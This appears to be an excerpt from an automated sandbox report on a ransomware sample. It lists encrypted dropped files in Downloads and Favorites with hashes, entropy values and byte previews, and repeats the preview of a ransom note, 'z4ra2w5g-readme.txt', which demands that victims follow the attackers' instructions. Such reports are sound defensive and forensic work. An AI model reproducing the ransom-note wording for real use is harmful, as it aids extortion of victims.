                        Preview: .^.)..``...*.. I$N....m.K8.....V..:.|T...iX.K.....j...".i.s......-.X<.-._.J.....i..qm.$.*..!.*Bc........>.....qW......w*.J3.'......S|A.v....wk..,B}....~5......."4......f.....C...$....$...z*...M.g4....#..*.(.........w....0....`V.....U/ebYB.......GC>...TZ.%.n-........_xf(..|...6.1J}Q.G.-.Dv<d...>.I....u.+|..Uv.u..N.l......6.k...Q.d.u..._.8..q..V....'......~i..L.|.-.....y}.7./...g..2.,..d.o...*hG....-..4D.k..u?.}../b.y...X... ../...EZe.o^...*.P0.T`..\...a.k..l..A;T3.q..x...t.....wj.....J.{.';....f.d.G..I.....=.i..*U.O>+.r..\.T[[.)..A.. ..Gh3.f...2.D. +..H..B...~?...h.....n..f[s..8N...iF...j...~".>.,3`..;.A.`~......M/.......D...3...E...."........5...ML{.....k..F.....V....;d...2&i...=.]..:..2M<...b..|."..0..7..(...........eF.......N.P...d.H...3.Y....I..sX.ut..`.98..wPs.$..w@....C.R2.n}i.?C@1.|G<..14.;.~.....GH..z0GY...!.U...RMd;;..O.NQ.L.d.J.....nt..(....<.....t()L.|.H.B..y..F.%X.Su}]....?Q.<.!..d..,.....Be.f...Ntli..O......0.......!+$].
                        C:\Users\user\Downloads\QEURJOJQOH.mp3
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.831105134413187
                        Encrypted:false
                        SSDEEP:24:SwStvDmAm9w/DxNncLP2/uZrU2BXME72E2XyR3nuutrx:S7tv66W2/uZFrv2XQhx
                        MD5:C7062017D5771E91438B31E8560D66DE
                        SHA1:8C30648294535857669729BD3BA94C6D8AE68C4F
                        SHA-256:306904F6FCFF91F3A37C6272C2BAA2146AC8206961E0063C4D747764289B54E0
                        SHA-512:D8F0C206E737AE861706B88E34DC5510D7EA3F1B4576CA0E3663D65D15A6903C11C305432CA54A2A95B38924106A0EEB63770A141433610D9DABC2E132422983
                        Malicious:false
                        Preview: .8..mIn.G.0[.."..s..+......Z/.U^..MR.5.uQm...12..<.G..(R....s..v.....,..x=...F..vQ\.>...._.j.T.|{.......j.h.!..u.*7..\....`2h{"t.=...;...]N".....G.l |.Q.c..h.L5phD\..*.".b>....@Br{.9...D<.%n......7E.v. j..~1......h.D.W.e-d...........l.&....P\}...z2=..^.;B.|/.....].....tp..c..`j....p!./+S.G..(...(....)._.N..&Q..\1.....A>E....T......Ic.|.pL.B.J.96.x.VM+..z..>.x3.N"4..U.9r...*...w..-...U|.'..#...6..DG..Q.H...P..'5T?.$...3f...5...aT5.E.y.lf.i.yg..}..b.....y.T.n,dx.Eav.|P..V.).z ....$..dPm[..M$.Aal5.)~.B.6.q..i.<.].O....}....m\".9.L...K..D[l.(^.1N.Te...rx.....aJ.hi....c.......V..xk..WL...L..u.P.J.(sx.S....I.@..g..\..@.....J...m....9..{...|4...`p\..F.S.,.....Pd...#b...<.zc...21..x0[.yO?..!{....B._..Y....:.....H .vE8tB..B.m...Q..sl...... .{8....QU..7..<.......7g..d>.J\Y...04..NZ.'s..Mg...1....m+..~y}..q<}..{.T.;.o.{.-v_.2..2.....j..}...F#..!f...p........}.K..].7`...1..L..?....+........J.{,D.!....-.R0...#..f.cOP.R...:,.w...?.h%.....a.L...@..?..=
                        C:\Users\user\Downloads\UBVUNTSCZJ.docx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.833277913907115
                        Encrypted:false
                        SSDEEP:24:9JzUWCQIJ4D5vy5oiEOBAGWkfJ0mYK+TSNKYd4aCGFB1HQKnRwCRtuutr5IhTN:9JzUWC2D5vysp/mYtKB/DWIRwATm
                        MD5:A9051A5DDD0C0CC652ACF048D9912E7D
                        SHA1:48048717BD3CD77C988AB5388E5E2EE2F97893E0
                        SHA-256:6B8C18953D1448399D8A02129A7815FBFF3E50D669D9264EFF96A6907CA0CA6D
                        SHA-512:72B9C3D067C55C3BA27FCFA92A55631CA7354BD48580972E483F23AACFF47A1E9DB52F7006EDD333686B36CE72A9BC95DAD7DFE8E5E8D2B602A8B6F72985B24F
                        Malicious:false
                        Preview: Q7......uaQ.q1.......;..:.#j.........zBnP..RU.....0.^1...'.,...|+U....^e"~.(.......pSD*4...1O...@.?....a..'s.2z..<.s....j..<..e..+8.1*..I.R..]6b.....\ t..r3i...&2......J....%.T.....7.R6..ZQ.n....|..xER@...d`.q....eh.z..R..A|...........o.h........{m...c.Tl|1I..7}..1es.37.]....$:xl..37....{.@..Y.L.^.. ....X.[.....U.K.k..F.0.y.L.C0.y..B^mN.n..)..1.!h...'N.z<....hZ..).)e...E^.+.HJkm+..*.d..z.Lga.....U...Hkh.8m]@..u#j.'..3]..~7.../........@....I.~(..'.....G ...#....;L..q......5..a.-..hU....8#4w......\......s7..=...d.....D^Z.M..v. ......o.|.$q.[..v?......=w../..M....."o.nj .'.x....SvYg.....0.$..&... f..8bJ..%.c...!{.....B.......K.B..T./......x5.".$.Z..e.8i0...\...WL..<}.....cul.0..ej...a..8.o.1..."..M.P..o.s).0.=..[....J_.1..v./D.....1. I...~A.U^...V..:%ZB;Pc.....-l...-z7.*...MYw..5.\zwG.r......M.O.uk5.JZ.y.t5...!...v<-I.!.7a.6...}#:G8.[e.O.N.3.qe..:..S.........5-=..oI.d...].N8\..=S..".......>#\a.?..(q..u.......2,{.\...].X.cs.....K..H..l.&...
                        C:\Users\user\Downloads\UBVUNTSCZJ.png
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.850411430642603
                        Encrypted:false
                        SSDEEP:24:KdI78aGDaSbBfOdRxc5DVOkbwmPAdWx5s2a/Pgguutr7P:KPaVSbBfiXcHt2W3s1gi7P
                        MD5:9C31EDE7519B9C30D3933DC8D9264149
                        SHA1:C27524E2C3EC5BE6EED9197BEA532B8926DE6742
                        SHA-256:DC0EA049724761E08C12FD1DD06BD9636CB518D9FF4E2A51E2A453793657B109
                        SHA-512:ECBBFA3599CAF510C9B524037EB574A91102E71D41B83FD0B116E5B77B52B41622F18AE33C2FD87F232F1600E4FEF5A8FCF2CF720C4DA73E2DD49BC5FDB600AC
                        Malicious:false
                        Preview: '7......0.3.;j.<!/;..^.>...8...=O.... .k........Y.y..Q...R.x...h..J............C.....[....G.OCo.B...z........6.[.....f.).t.t..2A.s.Sn2.jC........u.(K.......w.1..D...u.}l...,..0_r.kx] ....<C.i<..r0...M.@...P%.lczx.Jm.HC.c-...z.G.......v.5L...qDY%v.h)...A%........H..[U.rL..T.n...z...v.......o.o>fsz...<.:^f.d4q.G/.u.=.....-..j..|.P<...l....(c..K..m.m..}Z+.hs6X=..<..:...y..dt.v.9....0.f.<..*7x....I....`!.!h!.......y..m..p.[..S.._.ez..a.=.@....-.XYKP[.R.....7b..#.0....']a..H..W[.... ..%xK.H/...2...'.....L@s.pY....rk...l.R*z..r(Am..*c...L......E.=....?)|...X..U.....?^._..5:......,.t.v.r.&.P.6....-.&F..#"Byb.N../.>.<..K.......|.v4.|...b......zs.*f..pI..9.Hc.....A..@..]x.e.V....9....3.....Z....3..(.|K..95IW...h..a..l...}..}.....:.;(.........10...=..<"9cD.$.....(.l...2.....]......)..E..A:'......CT..&..}......C+.\...>(.....*]..)....G}3...../.H#..=...........f,.I..".8.....pt.Ji.10gys. .$..M..o..;9...2x.;.E..].t.M.>-.&...*K.....exr............
                        C:\Users\user\Downloads\WDBWCPEFJW.jpg
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.84641778720141
                        Encrypted:false
                        SSDEEP:24:q7j7J+az84ufagU36o8ipbGosyBOqveswLJMCq3zWhk8kuutrUK6X:qLJ+ljU38ebGMBOqmbLJMXDWhk8mU1
                        MD5:689089C6A15AB390192965170EF55AAB
                        SHA1:D1C5B67C14B243B2FD7B6AC949BD4FB9DB9BE95E
                        SHA-256:EA4517B61B478A9CE311F11E36B5D41D3782AF0B91E03506DA36B4B3719CED69
                        SHA-512:2D22D997D4F0821192FF4EC7A9FE9F9A6E1CCF647AFE6866674703D6828E3AEC0E4C2380004FCFD1B9E907FAC016933FDDE26721160B53388CC7B7A8A3174DF4
                        Malicious:false
                        Preview: e...6.!..EU..8.!2....`>' .w...P...\. >.UN-){7...s...eC....W..V,.....G.1 .:..wp..............eKR}S..o.....Y,.(.:...=B,....cG.W.l..<..Q.u.....i...e)...nJ......Z+.iU...J..m.}r.....I.i.Z......p.....5..N.p........T..%.3eU<.2..j.U.[..u...8..R.....)~..y\r........<.t3.... ,..n...G...=...62f.Z{.Y...XM(:._...w.<qp..(..C.\<../?....*.mXj.,."....zc...E.6C..$......&\'.%e...|........tu...j.tb>2./.".N..e..0[...u...D.F..V..s.ct..e...Q......q....9E....R.T|..Z....C...1>..RA.xh.s....60....K......?7'..2T5.3P5......b.BG2.D..H......Bc...d...u.F.yW.t/.f.Ovd.......-@s.{.W..>o.6.#.t4........&h..b......F..Q. [.=0....u,}-.t.$Fn.9b.\.0i.....n...W.V..[.-}.w.[.."...E..k.x..:g...f..*...p.&...K....b..%.ap.........vpr).....PY..t.6....&....\;Oh.-..ZS..$P.......I.A4wY.J...!=.[.#b......n...P.+....)x.vQVlQH.......C...f.Qw2.}~Xd.8N3..3.F.f.;.I[( |BXQ'..>......E.%$o....6.C...ST...-...=(.!Y..)U.6...Q...G.7.*.OI..g?.p....5T1_.5..ts-......H.2...#l...p..K.%[..A.
                        C:\Users\user\Downloads\WDBWCPEFJW.mp3
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.834610210870247
                        Encrypted:false
                        SSDEEP:24:3pd3XL65JAco4uzpH0R1qkYFpoUNDFLDoZFMEZzuIA4Wj7tqXuutrR1i:jO5KS8aR1qkoWm+Z0ImoR1i
                        MD5:F471C4D30355AC89BF49DC56B397302B
                        SHA1:1B9371155C96A422F99A139D92A5FDE4DF06B649
                        SHA-256:A98940EF6C13A76A949C93F4D657D90695A5CEF99416E9D115508FE4947F8140
                        SHA-512:908E2BFA026E9472347851C43C70B9715149902F801F2DF4477F4E9B703BB3EA4E5EA6C267F1555FEDA09738920BF40192BA4759A980BF0AA69C0AAF04428A9D
                        Malicious:false
                        Preview: 9..\;...Y.....;s...F.....8...t{....."..-..;........`.V..v$Z5g..h`...fE...).T..yY...N.....v@....8p.KK......6g..+T&.H.e.)...;f.1...=..q.b.n\......`.F)..?...R..)g.vpw..-.4...k...h9.B~..5.QQ...s....?a..A......e...a_..b...../AioF..#.S.;.h$.O]C.......'.MV..B.L.7f..0.......`..t...Xa4Gg .=P....N......h+..\"...f.T..k4..{#.U.T|....\.....jjR....".1.G....f..<.8Nu."A...4......W.H.NLa.K...>K6#.).....VG.....5@..}Fv.....ll.>.F. H."...'...X...S...-.H...C....{d.....H.8k.Y.k./>.;...~...U..j....0.!..sv..N._k)p....';f....bN..zZI..BN-..V..g../....|..../..`.D).c.k2.w.....6a.Fl...a,.....H..x.:{..A.....E..T..m.J......+..Q..6..b.`!.>..K.UxW*.|..1z|..B...I.l......dE[.<..._.{......T..c.d..6..Uo....e)$#..<=...@.#f....E.......e.g|..(..j.U..Z.....]..R..."....F..8.x!=. .....m3=c.....U.@...Eq.(,....>M.1.s...>..i.LX.|...{....tz.B.WilP...._.3u.+WY3..[$.......*"..i(..O..4f.....U#$>7P.A.....*.X.0.$.9Yh.X..@RV.&..k.1."9......Tg...x.D...Ny.`......;.;....(.....T....H:.:.I....g.s
                        C:\Users\user\Downloads\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Favorites\Amazon.url
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):343
                        Entropy (8bit):7.3732594921357535
                        Encrypted:false
                        SSDEEP:6:4+b1iyMi6JAF89GadTGGAYy956Cz8Zb0P8wbMvtauOHXj44h3XXHMsMeFX97:4e2AF8XZGXnSSPJMvtaurW3MstXZ
                        MD5:DDF45E13434C095ED3E98C34D4AA0715
                        SHA1:C42587C8486D66E125AD4260562EC7C4E57D681A
                        SHA-256:9711452C64954463198421F548B26E93A1816FDF3BCE44D9F3F22C107BDF5B4F
                        SHA-512:3A335A6A9E68D10DF102E31435986DE85AE20DBE15752D94645FF59AC607FE9E9D31D487B49EE912950045421D274E46B5E4F3B71B77E30923C8CB15B68B0D49
                        Malicious:false
                        Preview: ...F..Y....#,.K.=.h...D%.....1..W..G..Xe..q6..A..(.*...7A..!X..?.-.y.K.......V..6.<..v.<.....w.9....}&L.........-...0k....i.........$..~.d.rZ%.f{....bp.k..#...j....1.1U.2.E0AF;W,..R'gPa.$...ym.A....V......q..D ...pw.\..|...J. ..0Q`.G.........?jR.dw......?F.2o.E...x.>.)w2.r.b.......8hS..Z....e.uu..e...Gb.'`.[.*.9. ..............^
                        C:\Users\user\Favorites\Bing.url
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):440
                        Entropy (8bit):7.5438994103059205
                        Encrypted:false
                        SSDEEP:6:59GqeagN25Dm/JFNnyWo1+DhXyXLvRCz8Zb0P8wbMvtauOHXj44+NRTWzmr0pWF:e/l8Dm3n9D5GJtSPJMvtaurXPaSr0pWF
                        MD5:C9C6ACC5DB7A3BFAA914D032E3E0CC75
                        SHA1:15BD6370B195AF47055A4677C5C182A3E9FF15F0
                        SHA-256:89A4BF3A8323C194B92C2A9605B1B039DE2BAAC1F0FBFE32F51B491C6C42EF48
                        SHA-512:FA5CAAA8E1F583738BDA4947B1B5AB4CD0C91DD89F82C848568465EEBA14948BEE429421B3308FE27FDBC820EAF351E398D0B9A82893B1FDDAD3717B31E5FD84
                        Malicious:false
                        Preview: ?.^y.ok.k..B{.....A..%g+7.QQq..MNR.......K....p...._wX..d.p...24f...5"Yn..g..s.9....)...|.-<..|*.XR.:...6.~.#.\...d%.aA..h......)6^..Q.[..X......u9.!f........sK.....veT..?.M..Js!L.~..k|.D.i9J.....-...0k....i.........$..~.d.rZ%.f{....bp.k..#...j....1.1U.2.E0AF;W,..R'gPa.$...ym.A....V......q..D ...pw.\..|...J. ..0Q`.G.........?jR.dw......?F.2o.E...x.>.)w2.r.b..c....."v... 6sl...(.v.<d7.|...;....V.~.........F:.
                        C:\Users\user\Favorites\Facebook.url
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):345
                        Entropy (8bit):7.264990375273729
                        Encrypted:false
                        SSDEEP:6:a9jEGR24EIGeehH1LSIqJCbmz8Zb0P8wbMvtauOHXj444AShpgzns+Xn:aRvR2IGeehVqCtSPJMvtaurnJB+Xn
                        MD5:FE50C86D59AC47271ECE0D2FE3F961D6
                        SHA1:D5A0FE3F6C191DF3C9F7CA9B43055108D4F64C1F
                        SHA-256:67D776BE2E94DC36BA686ED0C0C6450A514F59B467EFBB26A146EDECB714E7AC
                        SHA-512:558A4623CBFAA009379FCAD44E8E662F744E7DF06D4CDAE6805F0DD5BD175079B72E6EC174BC7988499BFCBA5999D496BFFBAE36D5465F9D38C692ABED7CBCE6
                        Malicious:false
                        Preview: I...n.&....q.....X.....`....H.*c>~........W..6..:.x....g.~.f....O........... :K.4..se....?-.....OlW^{........-...0k....i.........$..~.d.rZ%.f{....bp.k..#...j....1.1U.2.E0AF;W,..R'gPa.$...ym.A....V......q..D ...pw.\..|...J. ..0Q`.G.........?jR.dw......?F.2o.E...x.>.)w2.r.b..B.Pp>#1*.&b....).bZ.......|{..\f-.g...z),)........J..
                        C:\Users\user\Favorites\Google.url
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):343
                        Entropy (8bit):7.315823913157121
                        Encrypted:false
                        SSDEEP:6:wNxmqOJMsrjv0AFtIwPf8iyImz8Zb0P8wbMvtauOHXj44sStIsngEC:wjWdMiyIZSPJMvtaurCtIsnc
                        MD5:7A346680A41CDA4C3E36D419CCA4FF26
                        SHA1:DD94296443C79673006865210FD2F6E3E6E76EB3
                        SHA-256:A5610B8E3FE5FC66A6D95E8FCE04EE19AAD82A6E3597F32EE3307E5CC4F48B36
                        SHA-512:F3FCB73A9BCBB5BD8D3B02DF254F9E823454BE3C8F66339B52E318B6D245AAC6450BCB12DCCA6D4FA0A7C144BF8A1E42D22CB5B05C605F6D22B5A861F3033E0F
                        Malicious:false
                        Preview: .....G&...O......5..V.....m..M.1.(...l...\.bE...-...7...*.X]l....).$,......`....`.....d..e*x..s......{.......-...0k....i.........$..~.d.rZ%.f{....bp.k..#...j....1.1U.2.E0AF;W,..R'gPa.$...ym.A....V......q..D ...pw.\..|...J. ..0Q`.G.........?jR.dw......?F.2o.E...x.>.)w2.r.b..@..o.T..{i...B.Hj..zw.3.?U....V.Te..a=..A..........i.
                        C:\Users\user\Favorites\Links\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Favorites\Live.url
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):341
                        Entropy (8bit):7.426101563818844
                        Encrypted:false
                        SSDEEP:6:awuTRqq51DOdCtmz8Zb0P8wbMvtauOHXj44Ulffg:aZDOoSPJMvtaurdI
                        MD5:2E26E98E3D1B1DDE77F01B28062B1946
                        SHA1:87C15A47125B7AEB877634E4960C9D66342461FA
                        SHA-256:3C31074D28ADC9009AAD460E13371E38180D04E77D24F0A39E87AB81ABD34A27
                        SHA-512:306C5C3314B5C552F4C123CCC9904FF0E631CA08DB2E9F4F45FDC9C34A1AB5DA834C01A591EE3FE54FB51E727F58958F141F4D5E3C0B46DC93F419D505861CA0
                        Malicious:false
                        Preview: xi.G.+...k..~.U.....tY..y^%.7y`..g..t.9i,*M..5.....w(.......=..}.a.].....O..;.....Pz.g...o.!Vv{+.+..>6......-...0k....i.........$..~.d.rZ%.f{....bp.k..#...j....1.1U.2.E0AF;W,..R'gPa.$...ym.A....V......q..D ...pw.\..|...J. ..0Q`.G.........?jR.dw......?F.2o.E...x.>.)w2.r.b..#..$...........$q..t..u...L_.}x:...A....P..........1\Y
                        C:\Users\user\Favorites\NYTimes.url
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):344
                        Entropy (8bit):7.363604505160842
                        Encrypted:false
                        SSDEEP:6:23ZG26f1Q+OMsqEetjQr9Ctmz8Zb0P8wbMvtauOHXj44XwCoEaYe8BQ:2SduqEGCCtZSPJMvtaurGwCoGQ
                        MD5:0DB07B3CD01A225EAC306A938E037C7A
                        SHA1:FFF8192D8448271592C30F20C0D68093D46D7A19
                        SHA-256:A7F0AF956C00EA43B3C38E500D178043C9A14302008EB3AFC604C68AEBE92B46
                        SHA-512:361ADA49036ABA6099209E99934BEA09B824367BA7826A55FDDA23C9FBFC5C9E2C1D2637A1010385C05E11B1A38509E9C6CBCED988EE0678E188B72B7B29A1DD
                        Malicious:false
                        Preview: .,....T...hu......*IB.._..k..+..d....[n.=<.i7.Y.UoC.....\..9....Q......{.9a......M..p.A.E7T.PIJTQ.N.2........-...0k....i.........$..~.d.rZ%.f{....bp.k..#...j....1.1U.2.E0AF;W,..R'gPa.$...ym.A....V......q..D ...pw.\..|...J. ..0Q`.G.........?jR.dw......?F.2o.E...x.>.)w2.r.b..]T..5b......Po.....D.$SA.4x..+F-....~...9..............
                        C:\Users\user\Favorites\Reddit.url
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):343
                        Entropy (8bit):7.3870468272762775
                        Encrypted:false
                        SSDEEP:6:sDAnrybXJ7wMS2R4tzL1v5qhVImz8Zb0P8wbMvtauOHXj442BNxzXTOF:sacJ8uRg5vbZSPJMvtaurjKF
                        MD5:72134F264E262FD96C98D0AD9FD78B79
                        SHA1:51793DD45CE3883C3C96CC77F2A9652E735A29A7
                        SHA-256:ACEF88443CA01BED894CBF3A22581EA47AB053AAF5ABE139303083EA5A3FEAE8
                        SHA-512:97CF75DC4927C0CB5AF32C840248998B53DF039815F4754E0D9150D89FD310A09657FC0F8B2B5C631CDC81B96F959F2D5B680F24EA52E4DCE8EBAD368294E14C
                        Malicious:false
                        Preview: .*.#9..I....=.;....DE..2..?tW.wC.3].E....;...,....,'..c.}...Oz.....:.....[.X[...jm.I8z....F..#A.P._.Z..AI.......-...0k....i.........$..~.d.rZ%.f{....bp.k..#...j....1.1U.2.E0AF;W,..R'gPa.$...ym.A....V......q..D ...pw.\..|...J. ..0Q`.G.........?jR.dw......?F.2o.E...x.>.)w2.r.b...P...r.+....?...2.1....dh.....T.+|.....M=............GC
                        C:\Users\user\Favorites\Twitter.url
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):344
                        Entropy (8bit):7.3843430611680105
                        Encrypted:false
                        SSDEEP:6:VxIqbThwJIs3Yzb3jeImz8Zb0P8wbMvtauOHXj44dYFxgtd:VeqbThw1qb3bZSPJMvtaurQYXgtd
                        MD5:B321483CB00EC77E7B7C2675F2846AFE
                        SHA1:5442D884D770EF1129D99582FF9B09C92A1BA081
                        SHA-256:2C0BBE9AEA6CBEFFCA2D038DA805D2AEF08572FDE4CDE414235746E44F9EC18B
                        SHA-512:1829070E315B138076570333128D08948FFF4D6FF659C9614E684F3414A24BC489506E86C854A7C0708DD3CD8D92C2AA36CA54F751E8D71261FA0744447343E6
                        Malicious:false
                        Preview: .n..#.....n..b7;....*.......^e%..= ol.J.cIO-}......."...t.....W.....I..5....Y].g.....s....f..........e.D}N........-...0k....i.........$..~.d.rZ%.f{....bp.k..#...j....1.1U.2.E0AF;W,..R'gPa.$...ym.A....V......q..D ...pw.\..|...J. ..0Q`.G.........?jR.dw......?F.2o.E...x.>.)w2.r.b..Z...sN..q.a/.I..%_>e.8./....S..q2[.amb?3j*.........v6..
                        C:\Users\user\Favorites\Wikipedia.url
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):346
                        Entropy (8bit):7.366491198855434
                        Encrypted:false
                        SSDEEP:6:rKuE9qCFFF76nOVtghFz8Zb0P8wbMvtauOHXj44/QjfDnjLoM:8tdoOVtghKSPJMvtaurjB
                        MD5:E29AE3DB0EB08A5CB0580BAECBDC5ADD
                        SHA1:A560B06EDCDA583E340806FB85F0A72AC7C35C2D
                        SHA-256:CA4B992C649CF7317ACC97EC961458B00DDDB6B1E09E75CA0EC5FD9DC32B95E2
                        SHA-512:4B5CBC393A797190C7B810F1181C89537B22522CBF0D51670BBB61FA82D7607C067535836E721F19D1F156B52622A331AC9D179EE451AC9A250DF8DBC7C61461
                        Malicious:false
                        Preview: ...Sa..Y.\0..q(.......qW(....~....;F..Oc=..X...2.........CLX...|.|{.9GH.4..,>r..t...r.....Cl....I,]0Z..d.!.......-...0k....i.........$..~.d.rZ%.f{....bp.k..#...j....1.1U.2.E0AF;W,..R'gPa.$...ym.A....V......q..D ...pw.\..|...J. ..0Q`.G.........?jR.dw......?F.2o.E...x.>.)w2.r.b....a..b....5 d..a.2..+.[..6.(N<....8....iN............N
                        C:\Users\user\Favorites\Youtube.url
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):344
                        Entropy (8bit):7.387962574243115
                        Encrypted:false
                        SSDEEP:6:7TzDc4EsVRhRfLBOz8Zb0P8wbMvtauOHXj44L3Dd0tP/q:7TzDPEKhRDLSPJMvtaurS50tnq
                        MD5:DF893E8FD51D326AF87EB99323C00251
                        SHA1:C727EA0123142F84D55514591AADB6424ABDF07D
                        SHA-256:54942C2C01F5436BAD85E4D5F1F53FC20BCA136C32F69A25F1FF50ACA8C8FA9D
                        SHA-512:5AB5BBBA1C22EEC73997B58A9BA028952B0B7A680113361CFC2876130B3D3AA50CB221E11013B143445D615B25648E1C9DDD2EBEE28D04305632716FA26DB234
                        Malicious:false
                        Preview: .7....o.$.s9....X*..N..!..c?4o.D...#0X.Y9.N../..5!."..c..%....75..zeT..3_s...]m...rB.....b.RY..~.....T. ;e.......-...0k....i.........$..~.d.rZ%.f{....bp.k..#...j....1.1U.2.E0AF;W,..R'gPa.$...ym.A....V......q..D ...pw.\..|...J. ..0Q`.G.........?jR.dw......?F.2o.E...x.>.)w2.r.b...2m..E.L.SEC.....n@A...F.G....`?=..D.V.H.`>.........n.a
                        C:\Users\user\Favorites\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
